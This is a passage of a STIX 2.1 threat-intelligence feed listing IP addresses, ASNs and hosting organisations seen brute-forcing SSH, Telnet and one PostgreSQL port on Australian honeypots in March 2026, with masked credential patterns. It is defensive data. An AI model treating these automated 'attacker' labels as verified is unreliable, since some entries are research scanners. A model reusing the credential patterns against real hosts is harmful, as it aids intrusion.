      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 285. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): 3**********4, r**t, a***s, n*****w, n*****x. Passwords observed (masked): 1****6, 3***********4, 3**********4, ***, 1******8.",
      "id": "indicator--92085dfb-d9e3-488b-a36d-275161fd7554",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.76.120.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T03:15:13.000Z",
      "valid_until": "2026-04-08T03:15:11.000Z"
    },
    {
      "created": "2026-03-07T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 285. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 8796. Organisation(s): FASTNET DATA INC. Usernames observed (masked): 3**********4, r**t, b********r, n*****w, n*****x. Passwords observed (masked): 1****6, 3***********4, 3**********4, ***, 1******8.",
      "id": "indicator--20b3f7da-d129-4cef-8408-3b8e32e9d86e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '156.238.252.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T03:15:13.000Z",
      "valid_until": "2026-04-08T03:15:11.000Z"
    },
    {
      "created": "2026-03-07T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 148. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): 3**********4, b********r, n*****w, n*****x, x***i. Passwords observed (masked): ***, 1****6, 1******8, 3**********4, N********3.",
      "id": "indicator--1215d9af-fc00-4022-baa6-5a431b8663d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.239.87.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T03:15:13.000Z",
      "valid_until": "2026-04-08T03:15:11.000Z"
    },
    {
      "created": "2026-03-07T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 426. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BO. ASN(s): 26210. Organisation(s): AXS Bolivia S. A.. Usernames observed (masked): 3**********4, r**t, a***s, b********r, n*****w. Passwords observed (masked): 3***********4, 3**********4, 1****6, ***, 1******8.",
      "id": "indicator--59a229bd-1168-4c30-bd0a-52ab85a37c0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.181.44.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T03:15:13.000Z",
      "valid_until": "2026-04-08T03:15:11.000Z"
    },
    {
      "created": "2026-03-07T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 213. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 212552. Organisation(s): BitCommand LLC. Usernames observed (masked): r**t, 3**********4, ***, c*****p, d**1. Passwords observed (masked): ***, 3***********4, 3**********4, 1**4, 1****6.",
      "id": "indicator--2b0bf1ac-787e-481a-8daf-7d1bad6fd449",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '193.163.201.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T03:15:13.000Z",
      "valid_until": "2026-04-08T03:15:11.000Z"
    },
    {
      "created": "2026-03-07T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 214. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4, d**1, ***, c*****p. Passwords observed (masked): ***, 3***********4, 3**********4, 1**4, 1****6.",
      "id": "indicator--15540ab3-3c3e-41d9-b84e-17346903bba6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '193.70.86.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T03:15:13.000Z",
      "valid_until": "2026-04-08T03:15:11.000Z"
    },
    {
      "created": "2026-03-07T03:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134768. Organisation(s): CHINANET SHAANXI province Cloud Base network. Usernames observed (masked): **. Passwords observed (masked): 1******8.",
      "id": "indicator--4ebd114f-a087-4384-bf39-eb25a22011af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.41.173.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T03:15:13.000Z",
      "valid_until": "2026-04-08T03:15:11.000Z"
    },
    {
      "created": "2026-03-07T03:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 64. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--47b63a52-1651-4157-b7be-cff4661f02a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T03:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '42.55.138.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T03:15:13.000Z",
      "valid_until": "2026-04-08T03:15:11.000Z"
    },
    {
      "created": "2026-03-07T04:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 284. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, f*****r, ***, c*****l. Passwords observed (masked): 3***********4, 3**********4, 1**4, ***, 1***5.",
      "id": "indicator--b06b1c7c-7ba7-469d-bb1c-7fef99269e6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T04:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.36.123.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T04:15:12.000Z",
      "valid_until": "2026-04-08T04:15:11.000Z"
    },
    {
      "created": "2026-03-07T04:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--92d060aa-8bb9-4d18-8fe4-e209feb18426",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T04:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T04:15:12.000Z",
      "valid_until": "2026-04-08T04:15:11.000Z"
    },
    {
      "created": "2026-03-07T04:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--02953d55-8797-434a-8b39-a6742a013343",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T04:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '111.242.122.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T04:15:12.000Z",
      "valid_until": "2026-04-08T04:15:11.000Z"
    },
    {
      "created": "2026-03-07T04:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45538. Organisation(s): ODS Joint Stock Company. Usernames observed (masked): a*****r. Passwords observed (masked): a*****r.",
      "id": "indicator--b05aff1c-fc6d-4570-bcec-7bf5e4d3e1d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T04:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.78.10.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T04:15:12.000Z",
      "valid_until": "2026-04-08T04:15:11.000Z"
    },
    {
      "created": "2026-03-07T04:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--d30ae4df-6cd6-4824-bb18-c5b1c3668f0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T04:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T04:15:12.000Z",
      "valid_until": "2026-04-08T04:15:11.000Z"
    },
    {
      "created": "2026-03-07T04:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 284. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 57043. Organisation(s): Hostkey B.v.. Usernames observed (masked): r**t, 3**********4, f*****r, ***, c*****l. Passwords observed (masked): 3***********4, 3**********4, 1**4, ***, 1***5.",
      "id": "indicator--9035f40d-8196-48b9-9f19-3e90f328a532",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T04:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '212.69.86.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T04:15:12.000Z",
      "valid_until": "2026-04-08T04:15:11.000Z"
    },
    {
      "created": "2026-03-07T04:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 56005. Organisation(s): Zhengzhou Fastidc Technology Co.,Ltd.. Usernames observed (masked): s**d. Passwords observed (masked): 1****6.",
      "id": "indicator--b60a345d-3fa3-4389-80bf-c89aad5ae37c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T04:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '42.51.40.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T04:15:12.000Z",
      "valid_until": "2026-04-08T04:15:11.000Z"
    },
    {
      "created": "2026-03-07T04:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 213. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION. Usernames observed (masked): r**t, 3**********4, f*****r, ***, c*****l. Passwords observed (masked): 1**4, 3***********4, 3**********4, ***, 1***5.",
      "id": "indicator--32157945-c979-4514-ab16-e9d436d1df7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T04:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.154.124.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T04:15:12.000Z",
      "valid_until": "2026-04-08T04:15:11.000Z"
    },
    {
      "created": "2026-03-07T04:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 189. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 35612. Organisation(s): EOLO S.p.A.. Usernames observed (masked): r**t, 3**********4, ***, c*****l, d***o. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, 1**********C.",
      "id": "indicator--87988006-0253-43bb-a151-a9c79871761a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T04:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.134.49.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T04:15:12.000Z",
      "valid_until": "2026-04-08T04:15:11.000Z"
    },
    {
      "created": "2026-03-07T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--c6b3307f-83ed-4a81-8824-85a555751124",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.57.193.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T05:15:12.000Z",
      "valid_until": "2026-04-08T05:15:11.000Z"
    },
    {
      "created": "2026-03-07T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 115. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 142403. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): c****m, *, ***, p******t, r**t. Passwords observed (masked): 1***5, 1******8, @*******4, p******d, p******d.",
      "id": "indicator--f2411826-1302-4d6f-975a-2063662ca810",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.209.4.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T05:15:12.000Z",
      "valid_until": "2026-04-08T05:15:11.000Z"
    },
    {
      "created": "2026-03-07T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 18809. Organisation(s): Cable Onda.",
      "id": "indicator--fab336de-f149-42b4-bdea-15adae4149d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.188.187.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T05:15:12.000Z",
      "valid_until": "2026-04-08T05:15:11.000Z"
    },
    {
      "created": "2026-03-07T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--91a0d99d-eab0-4a77-aab4-f9ad96d61fe5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T05:15:12.000Z",
      "valid_until": "2026-04-08T05:15:11.000Z"
    },
    {
      "created": "2026-03-07T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: NL. ASN(s): 205759. Organisation(s): Ghosty Networks LLC. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--ef5cd887-e80a-4716-a45f-631656417cd3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.151.182.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T05:15:12.000Z",
      "valid_until": "2026-04-08T05:15:11.000Z"
    },
    {
      "created": "2026-03-07T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--7f5c226a-5425-42a0-b114-7590a5053532",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.153.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T05:15:12.000Z",
      "valid_until": "2026-04-08T05:15:11.000Z"
    },
    {
      "created": "2026-03-07T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6128. Organisation(s): Cablevision Systems Corp.. Usernames observed (masked): r**t, 3**********4, b****x, e*****r, **. Passwords observed (masked): 1**4, 1****6, 3***********4, 3**********4, @*******5.",
      "id": "indicator--669f3a1c-1641-4fa8-9db9-0cff75a97a3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '67.81.35.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T05:15:12.000Z",
      "valid_until": "2026-04-08T05:15:11.000Z"
    },
    {
      "created": "2026-03-07T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: RO. ASN(s): 51177. Organisation(s): Tipzor Media Srl. Usernames observed (masked): r**t. Passwords observed (masked): a***n.",
      "id": "indicator--aa045ff5-3f1c-48fd-b1b9-836d5def0854",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '84.234.99.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T05:15:12.000Z",
      "valid_until": "2026-04-08T05:15:11.000Z"
    },
    {
      "created": "2026-03-07T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--0c1ad5d6-bf93-469d-aa57-0b0ba261e918",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T05:15:12.000Z",
      "valid_until": "2026-04-08T05:15:11.000Z"
    },
    {
      "created": "2026-03-07T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--6c29fd1d-7bf6-48bf-84b6-6bec9a23f31e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T05:15:12.000Z",
      "valid_until": "2026-04-08T05:15:11.000Z"
    },
    {
      "created": "2026-03-07T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--7653e659-0cf4-47b9-86c8-94e203720278",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T05:15:12.000Z",
      "valid_until": "2026-04-08T05:15:11.000Z"
    },
    {
      "created": "2026-03-07T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--a76d7bd8-7163-4266-ba23-0cd45d086f7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T05:15:12.000Z",
      "valid_until": "2026-04-08T05:15:11.000Z"
    },
    {
      "created": "2026-03-07T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--2667bfac-465a-4a77-a503-d39229fcd181",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T05:15:12.000Z",
      "valid_until": "2026-04-08T05:15:11.000Z"
    },
    {
      "created": "2026-03-07T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--7f4cbc6e-6665-4c22-9c0e-d4e701e01200",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T05:15:12.000Z",
      "valid_until": "2026-04-08T05:15:11.000Z"
    },
    {
      "created": "2026-03-07T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 213. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 21499. Organisation(s): Host Europe GmbH. Usernames observed (masked): r**t, 3**********4, p******r, e****n, h***l. Passwords observed (masked): 3***********4, 3**********4, @*******5, @*******6, e****n.",
      "id": "indicator--dc607bc6-b3ec-44a9-a7e8-a17fb6e51d79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '92.205.56.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T05:15:12.000Z",
      "valid_until": "2026-04-08T05:15:11.000Z"
    },
    {
      "created": "2026-03-07T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 33363. Organisation(s): Charter Communications, Inc.",
      "id": "indicator--d73de4a4-01d3-46fc-98df-bd3fd358b10f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '97.78.17.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T05:15:12.000Z",
      "valid_until": "2026-04-08T05:15:11.000Z"
    },
    {
      "created": "2026-03-07T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 9441. Organisation(s): Next Online Limited.. Usernames observed (masked): ***, 3**********4, a*******t, b*****e, b**m. Passwords observed (masked): 1******8, 1**4, 1***5, 3***********4, 3**********4.",
      "id": "indicator--be12066b-3221-4641-951b-4c1644664a7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.4.145.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T06:15:14.000Z",
      "valid_until": "2026-04-08T06:15:11.000Z"
    },
    {
      "created": "2026-03-07T06:15:14.000Z",
